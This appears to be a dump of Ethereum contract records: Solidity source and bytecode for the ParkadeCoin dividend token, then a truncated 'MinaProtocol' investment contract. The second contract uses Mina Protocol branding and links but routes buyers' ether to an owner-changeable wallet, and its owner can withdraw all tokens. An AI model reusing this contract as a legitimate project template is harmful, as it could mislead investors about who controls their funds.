zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/ParkadeCoin.sol /** @title A dividend-paying ERC20 token, @dev Based on https://programtheblockchain.com/posts/2018/02/07/writing-a-simple-dividend-token-contract/ and https://programtheblockchain.com/posts/2018/02/13/writing-a-robust-dividend-token-contract/ */ contract ParkadeCoin is StandardToken, Ownable { using SafeMath for uint256; string public name = "Parkade Coin"; string public symbol = "PRKC"; uint8 public decimals = 18; /** There are a total of 400,000,000 tokens * 10^18 = 4 * 10^26 token units total A scaling value of 1e10 means that a deposit of 0.04Eth will increase scaledDividendPerToken by 1. A scaling value of 1e10 means that investors must wait until their scaledDividendBalances is at least 1e10 before any withdrawals will credit their account. */ uint256 public scaling = uint256(10) ** 10; // Remainder value (in Wei) resulting from deposits uint256 public scaledRemainder = 0; // Amount of wei credited to an account, but not yet withdrawn mapping(address => uint256) public scaledDividendBalances; // Cumulative amount of Wei credited to an account, since the contract's deployment mapping(address => uint256) public scaledDividendCreditedTo; // Cumulative amount of Wei that each token has been entitled to. Independent of withdrawals uint256 public scaledDividendPerToken = 0; /** * @dev Throws if transaction size is greater than the provided amount * This is used to mitigate the Ethereum short address attack as described in https://tinyurl.com/y8jjvh8d */ modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } constructor() public { // Total INITAL SUPPLY of 400 million tokens totalSupply_ = uint256(400000000) * (uint256(10) ** decimals); // Initially assign all tokens to the contract's creator. balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } /** * @dev Update the dividend balances associated with an account * @param account The account address to update */ function update(address account) internal { // Calculate the amount "owed" to the account, in units of (wei / token) S // Subtract Wei already credited to the account (per token) from the total Wei per token uint256 owed = scaledDividendPerToken.sub(scaledDividendCreditedTo[account]); // Update the dividends owed to the account (in Wei) // # Tokens * (# Wei / token) = # Wei scaledDividendBalances[account] = scaledDividendBalances[account].add(balances[account].mul(owed)); // Update the total (wei / token) amount credited to the account scaledDividendCreditedTo[account] = scaledDividendPerToken; } event Transfer(address indexed from, address indexed to, uint256 value); event Deposit(uint256 value); event Withdraw(uint256 paidOut, address indexed to); mapping(address => mapping(address => uint256)) public allowance; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2*32) returns (bool success) { require(balances[msg.sender] >= _value); // Added to transfer - update the dividend balances for both sender and receiver before transfer of tokens update(msg.sender); update(_to); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3*32) returns (bool success) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); // Added to transferFrom - update the dividend balances for both sender and receiver before transfer of tokens update(_from); update(_to); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev deposit Ether into the contract for dividend splitting */ function deposit() public payable onlyOwner { // Scale the deposit and add the previous remainder uint256 available = (msg.value.mul(scaling)).add(scaledRemainder); // Compute amount of Wei per token scaledDividendPerToken = scaledDividendPerToken.add(available.div(totalSupply_)); // Compute the new remainder scaledRemainder = available % totalSupply_; emit Deposit(msg.value); } /** * @dev withdraw dividends owed to an address */ function withdraw() public { // Update the dividend amount associated with the account update(msg.sender); // Compute amount owed to the investor uint256 amount = scaledDividendBalances[msg.sender].div(scaling); // Put back any remainder scaledDividendBalances[msg.sender] %= scaling; // Send investor the Wei dividends msg.sender.transfer(amount); emit Withdraw(amount, msg.sender); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633ccfd60b146102ed578063661884631461030457806370a08231146103695780637694df16146103c05780638461c5f8146103eb5780638da5cb5b1461044257806395c9f53f1461049957806395d89b41146104c4578063a9059cbb14610554578063cbfa3c9c146105b9578063d0e30db0146105e4578063d73dd623146105ee578063dd62ed3e14610653578063f2fde38b146106ca578063f67af0c71461070d575b600080fd5b34801561012357600080fd5b5061012c610764565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610802565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216108f4565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fe565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610ce1565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610cf4565b005b34801561031057600080fd5b5061034f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e45565b604051808215151515815260200191505060405180910390f35b34801561037557600080fd5b506103aa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d6565b6040518082815260200191505060405180910390f35b3480156103cc57600080fd5b506103d561111e565b6040518082815260200191505060405180910390f35b3480156103f757600080fd5b5061042c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611124565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b5061045761113c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a557600080fd5b506104ae611162565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b506104d9611168565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105195780820151818401526020810190506104fe565b50505050905090810190601f1680156105465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056057600080fd5b5061059f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611206565b604051808215151515815260200191505060405180910390f35b3480156105c557600080fd5b506105ce611412565b6040518082815260200191505060405180910390f35b6105ec611418565b005b3480156105fa57600080fd5b50610639600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061151e565b604051808215151515815260200191505060405180910390f35b34801561065f57600080fd5b506106b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061171a565b6040518082815260200191505060405180910390f35b3480156106d657600080fd5b5061070b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061173f565b005b34801561071957600080fd5b5061074e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611897565b6040518082815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107fa5780601f106107cf576101008083540402835291602001916107fa565b820191906000526020600020905b8154815290600101906020018083116107dd57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600060606004810160003690501015151561091557fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561095157600080fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561099e57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610a2957600080fd5b610a32856118af565b610a3b846118af565b610a8c836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3690919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1f836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600660009054906101000a900460ff1681565b6000610cff336118af565b610d53600754600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6b90919063ffffffff16565b9050600754600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254811515610da557fe5b06925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610df3573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f8353ffcac0876ad14e226d9783c04540bfebf13871e868157d2a391cad98e918826040518082815260200191505060405180910390a250565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f56576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fea565b610f698382611a3690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60085481565b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111fe5780601f106111d3576101008083540402835291602001916111fe565b820191906000526020600020905b8154815290600101906020018083116111e157829003601f168201915b505050505081565b600060406004810160003690501015151561121d57fe5b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561126a57600080fd5b611273336118af565b61127c846118af565b6112cd836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611360836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60075481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147657600080fd5b61149f60085461149160075434611a8190919063ffffffff16565b611a4f90919063ffffffff16565b90506114ca6114b960015483611a6b90919063ffffffff16565b600b54611a4f90919063ffffffff16565b600b81905550600154818115156114dd57fe5b066008819055507f4d6ce1e535dbade1c23defba91e23b8f791ce5edc0cc320257a2b364e4e38426346040518082815260200191505060405180910390a150565b60006115af82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600c602052816000526040600020602052806000526040600020600091509150505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117d757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915090505481565b6000611905600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b54611a3690919063ffffffff16565b90506119a961195b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8190919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4f90919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000828211151515611a4457fe5b818303905092915050565b60008183019050828110151515611a6257fe5b80905092915050565b60008183811515611a7857fe5b04905092915050565b600080831415611a945760009050611ab3565b8183029050818382811515611aa557fe5b04141515611aaf57fe5b8090505b929150505600a165627a7a7230582072e3ecb2d1e00a2d36756644b5e6cbedf8b3f257ab1a4b9b8b8b27d7b3c25b9a0029
{"success": true, "error": null, "results": {}}
1,051
0xb159c2816a778a73f3af500f2dfdfe46cc19017d
pragma solidity 0.5.10; /** * MINA PROTOCOL - Smart-Contract * * * The world's lightest blockchain, powered by participants. * * By design, the entire Mina blockchain is and will always be about 22kb - the size of a couple of tweets. * So anyone with a smartphone will be able to sync and verify the network in seconds. * * About the Tech: https://minaprotocol.com/tech * Knowledge Base: https://minaprotocol.com/get-started#knowledge-base * * Technical Whitepaper: https://minaprotocol.com/static/pdf/technicalWhitepaper.pdf * Economics Whitepaper: https://minaprotocol.com/static/pdf/economicsWhitepaper.pdf * * Mina Protocol-media * Official Website: https://minaprotocol.com * Github: https://github.com/MinaProtocol/mina * Twitter: https://twitter.com/minaprotocol * Telegram: https://t.me/minaprotocol * Forums: https://forums.minaprotocol.com/t/mina-protocol-chinese-resources/200 * Discord: https://discord.com/invite/RDQc43H * Facebook: https://www.facebook.com/Mina-Protocol-108885454193665 * Reddit: https://www.reddit.com/r/MinaProtocol * Wiki: https://minawiki.com/Main_Page */ /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address initialOwner) internal { require(initialOwner != address(0)); _owner = initialOwner; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "New owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function balanceOf(address who) external view returns (uint256); } /** * @dev Contract module that helps prevent reentrant calls to a function. */ contract ReentrancyGuard { uint256 private _guardCounter; constructor () internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } /** * @title BonusMina interface */ interface BonusMina { function sendBonus(address account, uint256 amount) external; function RS_changeInterval(uint256 newInterval) external; function RS_newTicket() external; function RS_addReferrer(address referrer) external; function RS_ticketsOf(address player) external view returns(uint256); function RS_referrerOf(address player) external view returns(address); function RS_interval() external view returns(uint256); } /** * @title Invest contract. */ contract MinaProtocol is ReentrancyGuard, Ownable { using SafeMath for uint256; // The token being sold IERC20 private _token; // BonusMina contract BonusMina private _MPBS; // Address where funds are collected address payable private _wallet; // Amount of wei raised uint256 private _weiRaised; // Amount of reserved tokens uint256 private _reserve; // How many token units a buyer gets per 1 ether uint256 private _rate = 2e15; // Minimum amount of wei to invest uint256 private _minimum = 0.5 ether; // Token amount set as share uint256 private _share = 1000000000000000; // Ref Bonus per share uint256 private _bonusPerShare = 50000000000000; // Delay period (UNIX time) uint256 private _delay; // User data mapping (address => User) users; struct User { Deposit[] deposits; uint256 checkpoint; uint256 reserved; } struct Deposit { uint256 amount; uint256 endtime; uint256 delay; } // Pause of recieving new deposits bool public paused; modifier notPaused() { require(!paused); _; } // Requiring of being referrer (more than 100 tickets) bool public refRequired; // Enable of referral programm enum ReferrerSystem {OFF, ON} ReferrerSystem public RS = ReferrerSystem.OFF; // Sending bonus to referral bool public referralMode; // Events event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount, uint256 delay); event Withdrawn(address indexed account, uint256 amount); /** * @param rate Number of token units a buyer gets per wei * @param wallet Address where collected funds will be forwarded to * @param token Address of the token being sold */ constructor(uint256 rate, address payable wallet, IERC20 token, address initialOwner, address MPBSAddr) public Ownable(initialOwner) { require(rate != 0, "Rate is 0"); require(wallet != address(0), "Wallet is the zero address"); require(address(token) != address(0), "Token is the zero address"); require(MPBSAddr != address(0), "MPBSAddr is the zero address"); _rate = rate; _wallet = wallet; _token = token; _MPBS = BonusMina(MPBSAddr); } /** * @dev fallback function */ function() external payable { if (msg.value > 0) { buyTokens(msg.sender); } else { withdraw(); } } /** * @dev token purchase * This function has a non-reentrancy guard * @param beneficiary Recipient of the token purchase */ function buyTokens(address beneficiary) public notPaused nonReentrant payable { require(beneficiary != address(0), "Beneficiary is the zero address"); require(msg.value >= _minimum, "Wei amount is less than minimum"); if (refRequired) { require(_MPBS.RS_ticketsOf(msg.sender) >= _MPBS.RS_interval()); } uint256 weiAmount = msg.value; uint256 tokens = getTokenAmount(weiAmount); require(tokens <= availableTokens(), "Not enough available tokens"); _weiRaised = _weiRaised.add(weiAmount); _wallet.transfer(weiAmount); if (_delay == 0) { _token.transfer(beneficiary, tokens); } else { createDeposit(beneficiary, tokens); } if (_MPBS.RS_referrerOf(beneficiary) != address(0)) { if (RS == ReferrerSystem.ON) { _MPBS.sendBonus(_MPBS.RS_referrerOf(beneficiary), tokens.div(_share).mul(_bonusPerShare)); if (referralMode) { _MPBS.sendBonus(beneficiary, tokens.div(_share).mul(_bonusPerShare)); } } } else if (msg.data.length == 20) { addReferrer(); } emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens, _delay); } /** * @dev internal invest function * @param account address of users * @param amount amount of tokens to deposit */ function createDeposit(address account, uint256 amount) internal { if (getDividends(account) > 0) { users[account].reserved += getDividends(account); } users[account].checkpoint = block.timestamp; users[account].deposits.push(Deposit(amount, block.timestamp.add(_delay), _delay)); _reserve = _reserve.add(amount); } /** * @dev withdraw available dividens */ function withdraw() public { uint256 payout = getDividends(msg.sender); if (users[msg.sender].reserved > 0) { users[msg.sender].reserved = 0; } require(payout > 0); users[msg.sender].checkpoint = block.timestamp; _token.transfer(msg.sender, payout); _reserve = _reserve.sub(payout); emit Withdrawn(msg.sender, payout); } /** * @dev internal addReferrer function */ function addReferrer() internal { address referrer = bytesToAddress(bytes(msg.data)); if (referrer != msg.sender) { uint256 interval = _MPBS.RS_interval(); _MPBS.RS_changeInterval(0); _MPBS.RS_addReferrer(referrer); _MPBS.RS_changeInterval(interval); } } /** * @dev internal function to convert bytes type to address */ function bytesToAddress(bytes memory source) internal pure returns(address parsedReferrer) { assembly { parsedReferrer := mload(add(source,0x14)) } } /** * @dev Calculate amount of tokens to recieve for a given amount of wei * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function getTokenAmount(uint256 weiAmount) public view returns(uint256) { return weiAmount.mul(_rate).div(1e18); } /** * @dev Calculate amount of tokens to recieve for a given account at current time * @param account Address of user * @return Number of tokens that can be withdrawn */ function getDividends(address account) public view returns(uint256) { uint256 payout = users[account].reserved; for (uint256 i = 0; i < users[account].deposits.length; i++) { if (block.timestamp < users[account].deposits[i].endtime) { payout += (users[account].deposits[i].amount).mul(block.timestamp.sub(users[account].checkpoint)).div(users[account].deposits[i].delay); } else if (users[account].checkpoint < users[account].deposits[i].endtime) { payout += (users[account].deposits[i].amount).mul(users[account].deposits[i].endtime.sub(users[account].checkpoint)).div(users[account].deposits[i].delay); } } return payout; } /** * @dev Function to change the rate. * Available only to the owner. * @param newRate new value. */ function setRate(uint256 newRate) external onlyOwner { require(newRate != 0, "New rate is 0"); _rate = newRate; } /** * @dev Function to change the share value * Available only to the owner. * @param newShare new value. */ function setShare(uint256 newShare) external onlyOwner { require(newShare != 0, "New share value is 0"); _share = newShare; } /** * @dev Function to change the bonusPerShare value * Available only to the owner. * @param newBonus new value. */ function setBonus(uint256 newBonus) external onlyOwner { require(newBonus != 0, "New bonus value is 0"); _bonusPerShare = newBonus; } /** * @dev Function to change the address to receive ether. * Available only to the owner. * @param newWallet new address. */ function setWallet(address payable newWallet) external onlyOwner { require(newWallet != address(0), "New wallet is the zero address"); _wallet = newWallet; } /** * @dev Function to change the delay period of recieving tokens. * Available only to the owner. * @param newDelay new value (UNIX time). */ function setDelayPeriod(uint256 newDelay) external onlyOwner { _delay = newDelay; } /** * @dev Function to change the minimum amount (wei). * Available only to the owner. * @param newMinimum new minimum value (wei). */ function setMinimum(uint256 newMinimum) external onlyOwner { require(newMinimum != 0, "New parameter value is 0"); _minimum = newMinimum; } /** * @dev Function to pause recieving of deposits. * Available only to the owner. */ function pause() external onlyOwner { require(!paused); paused = true; } /** * @dev Function to unpause recieving of deposits. * Available only to the owner. */ function unpause() external onlyOwner { require(paused); paused = false; } /** * @dev Function to switch if referrer is required. * Available only to the owner. */ function switchRefSys() external onlyOwner { if (RS == ReferrerSystem.ON) { RS = ReferrerSystem.OFF; } else { RS = ReferrerSystem.ON; } } /** * @dev Function to switch the requiring of being referrer * Available only to the owner. */ function switchRequiringOfRef() external onlyOwner { if (refRequired == true) { refRequired = false; } else { refRequired = true; } } /** * @dev Function to switch if referral gets bonus * Available only to the owner. */ function switchReferralMode() external onlyOwner { if (referralMode == true) { referralMode = false; } else { referralMode = true; } } /** * @dev Allows to withdraw needed ERC20 token from this contract (promo or bounties for example). * Available only to the owner. * @param ERC20Token Address of ERC20 token. * @param recipient Account to receive tokens. */ function withdrawERC20(address ERC20Token, address recipient) external onlyOwner { uint256 amount = IERC20(ERC20Token).balanceOf(address(this)); IERC20(ERC20Token).transfer(recipient, amount); } /** * @return the token being sold. */ function token() public view returns (IERC20) { return _token; } /** * @return address of BonusMina. */ function MPBS() public view returns (BonusMina) { return _MPBS; } /** * @return the address where funds are collected. */ function wallet() public view returns (address payable) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate() public view returns (uint256) { return _rate; } /** * @return the number of token set as share. */ function share() public view returns (uint256) { return _share; } /** * @return the number of token units a referrer gets per share. */ function bonusPerShare() public view returns (uint256) { return _bonusPerShare; } /** * @return minimum amount of wei to invest. */ function minimum() public view returns (uint256) { return _minimum; } /** * @return the amount of wei raised. */ function weiRaised() public view returns (uint256) { return _weiRaised; } /** * @return the amount of reserved tokens. */ function availableTokens() public view returns (uint256) { if (_token.balanceOf(address(this)) > _reserve) { return 